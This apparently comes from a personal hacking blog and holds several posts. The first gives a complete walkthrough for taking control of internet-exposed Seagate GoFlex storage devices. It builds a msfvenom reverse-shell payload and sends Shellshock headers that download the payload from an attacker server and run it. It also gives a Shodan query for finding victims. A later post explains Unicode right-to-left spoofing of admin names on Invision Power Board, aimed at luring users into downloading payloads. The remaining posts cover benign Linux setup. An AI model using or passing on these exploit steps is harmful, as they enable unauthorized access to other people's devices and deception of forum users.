Getting a remote shell on any one of 68,000+ Seagate GoFlex devices

I have been scanning some ranges in my free time and came across a Seagate GoFlex Home Network Storage System which my scanner flagged as being vulnerable to shellshock but getting a remote shell was no easy task "for me anyway". I ended up having to build a payload with msfvenom and doing the execution using burp suite and handling the shell with metasploit handler. The best part is this device uses UPNP to tunnel to the Internet, giving us easy access >;)

Start with the payload:

msfvenom -p php/meterpreter/reverse_tcp lport=4444 lhost=1.2.3.4 >msf.txt

Now upload msf.txt to your web server. After the payload is uploaded open metasploit and

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
run 

That should start up our listener. Now we need to open up burp and use the repeater. Enter the following for the request:

GET /support/ HTTP/1.1

Host: 5.6.7.8

User-Agent: () { :; }; echo Content-Type: text/plain; echo; echo; PATH=/usr/bin:/usr/local/bin:/bin; export PATH; wget http://1.2.3.4/msf.txt -O /tmp/msf.php2>&1;

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Also don't forget to configure the target correctly. Hit go and wait a few seconds and you should see some wget output and if all went well you should now have uploaded msf.php to the /tmp/ dir of the device. Now we just need to execute it. For this we use burp again. This time put this in the request:

GET /support/ HTTP/1.1

Host: 5.6.7.8

User-Agent: () { :; }; echo Content-Type: text/plain; echo; echo; PATH=/usr/bin:/usr/local/bin:/bin; export PATH; php /tmp/msf.php;

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

This time when you hit Go, and your ports are forwarded correctly, you should be able to go back to our msfconsole window and see a session has opened.  You wont have root at this point but you can still do a lot of fun stuff. You can find some of these devices on Shodan by searching for "hipname=". If anyone figures out how to get root please share :) Enjoy!

*Count of vulnerable devices taken from Shodan search results, not actual testing.
**I did not test it but you could try to use linux/x86/exec payload in bash bug exploit module to deploy and execute. This would allow you to keep it all in metasploit.

Kali 2 and MATE windows manager

When I first installed K2 in a vm it ran ungodly slow. It of course was GNOME eating resources like a hog so I decided to use something a little lighter. After some messing around I settled on MATE.

Install MATE:

apt-get install mate-desktop-environment-core

To set it as system default windows manager use this command

echo mate-session > /root/.xsession

Now just reboot and log back in. You should be dumped to the mate desktop and your Kali install should be running much smoother :)

Kali 2 and OpenVPN without network manager

So I am not a big fan of the network manager UI for openvpn and normally opt for the cli setup. In Kali 2 the old /etc/init.d/openvpn start and service openvpn start didn't seam to work. For a quick work around I cam up with the below bash script. I hope you can get use of it.

**NOTE: Dump all your certs and config file in /etc/openvpn and have resolv.conf in /root/

#!/bin/sh
cd /etc/openvpn/
rm /etc/resolv.conf
cp /root/resolv.conf /etc/
openvpn --config vpn-server.conf & # edit vpn-server.conf to what ever your config file is named.


Contents of resolv.conf

nameserver 8.8.8.8
nameserver 8.8.4.4


If anyone knows a better way to do this in Kali 2 please let me know. :)

Invision Power Board 0-day

IPB is open to right-to-left unicode injection which allows you to obfuscate file names, links, and more. That's not all, because you can inject RTLO while registering you can copy any user name you like! Go to any IPBoard and try to register "& #82 38;nimdA" w/o the quotes and spaces, you will see when you login it displays you as Admin! Now you can go on the forums and run wild as the Admin or any other user you like. No you don't get admin privs. or anything and if anyone looks close at a "spoofed" account its not to hard to spot, but its good for a few lulz and im sure you can get more then one n00b to dl a payload you posted as admin >:) Ok thats all i got, laters.

Hacker's Hideaway is dead :(

Well HH is dead which sucks all on its own but due to one fucked up person, Raze, i cant get any of my shit off the servers HH was hosted on :( Yeah i kept backups but it wasnt nightly nor automated so i lost a lot of shit. i could have had time to get everything off the server but Raze, who was paying for the server, some how forgot to tell me he had stopped paying so i got ripped off like $50 on top of losing everything else!! See it was a Germen hosting company that hosted HH and Raze lived close by and he set everything up, i sent him $100 to pay for everything. So i figure he used about 25-50 dollars of it and i guess ran off with the rest :( Anyway blogger is my hangout once again.

Dansguardian, Webmin, and Ubuntu.

So i have my Ubuntu box set up as my networks NAT router, DHCP, and DNS server. Now I have a few kids and well i cant keep an eye on them all the time and while i do log their activity online i often miss lots of things in the logs as they seem to go on for ever and it got to the point that i just stopped looking at them are started looking for a better system. A while ago i had a content proxy server running on a XP pro box that seemed to do the job but was really unreliable and stop working all together at one point, so i set out to see if i could find a linux solution. I came across Dansguardian, which from what the website said was %100 better then the ones i had found for winblows. The only down side was all the install help files i could find all had you downloading firehol and tiny proxy, but non of them had a Webmin mod. So i went in and downloaded Squid proxy using Webmin 1.4 i had to edit the mod config to point to the right dir and i was hopping to use Squid as a replacement for tiny proxy. I already have Linux Firewall set up via Webmin to do NATing so thats all good, all that was left was to apt-get dansguardian. The install whent fine. I did have to chmod a few files for install, nothing big. After install i had to edit dan's config file to point it to the address of the proxy "Squid" in the networking section of Dan's config file. Now i have full web content filtering in action so no more boobies on the web for my kids :P the next step is forcing all connections to dan with out making changes to the end user's computer.

Back at it again...

Yep im, for what should be the last time, going to work on another release of A Hackers Gadget. Im going to do a little something to the port scanner and i have a few new little ideas that should make some buz. Dont look for it any time soon however cuz there is lots i plan to put in this baby, the only real hard thing im going to be facing is how to keep the gadget compact to its not taking up all the sidebar space. Along with the reopening of the M$ gadget project im starting to look at google's web gadgets, and i may even play around with firefox addons. Thats last one however is on the far back burner if you know what i mean.